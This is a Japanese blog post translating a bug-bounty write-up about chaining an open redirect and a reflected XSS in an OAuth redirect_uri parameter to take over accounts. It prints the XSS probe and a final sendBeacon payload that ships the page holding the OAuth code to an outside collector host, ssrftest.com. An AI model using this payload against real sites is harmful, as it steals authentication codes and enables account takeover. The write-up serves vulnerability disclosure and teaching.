Shikata Ga Nai

Private? There is no such things.

Never Give Up, The Story Behind a Dupe-To-Triagedを訳してみた

Hello there, ('ω')ノ

 

決してあきらめない、トリアージへの複製の背後にある物語を。

 

脆弱性:

 XSS

 OAuthの欠陥

 アカウントの乗っ取り

 

記事:

 https://medium.com/@soyelmago/never-give-up-the-story-behind-a-dupe-to-a-triaged-43b72debb6c9

 

アプリケーションは、Oauthメカニズムを使用して認証して。

エンドポイントは次のようになって。

 

https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=https://www.victim.com/dashboard&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]

 

それを見た後、redirect_uriパラメータを別のサーバを指すように変更して。

アプリケーションがどのようにサーバにリダイレクトするかを確認すると。

victim.comのOpenRedirectの脆弱性が見つかって。


次にアカウント乗っ取りの脆弱性を手に入れることに。

PoCでは、redirect_uriパラメータが悪意のあるサーバを指すようにして。

これは、Oauthコードもリクエスト内で送信されるためで。

 

アカウントの乗っ取りを取得する方法をしばらく考えて。

XSSの脆弱性を悪用できる場合は、XSSアラートポップアップで。

そのエンドポイント(/dashboard)で。

Oauthトークンを盗むことができるかもしれないとおもって。

次のPoCを作成してみることに。

 

https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=https://www.victim.com/dashboard%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]

 

 %22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e

 ⇧

 "><script>alert(document.domain)</script>

 

最終ペイロード:

navigator.sendBeacon(‘https://ssrftest.com/x/AAAAA',document.documentElement.innerHTML.split('code'));

 

最終URL:

https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=aaa”><script>navigator.sendBeacon(‘https://ssrftest.com/x/AAAAA',document.documentElement.innerHTML.split('code'));&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]

 

ssrftest.comは、SSRFの脆弱性などをテストできるサイトで。

その結果、管理するサーバに認証トークンが送信されて。

 ssrftest.com

 

f:id:ThisIsOne:20211027074314p:plain

 

Best regards, (^^ゞ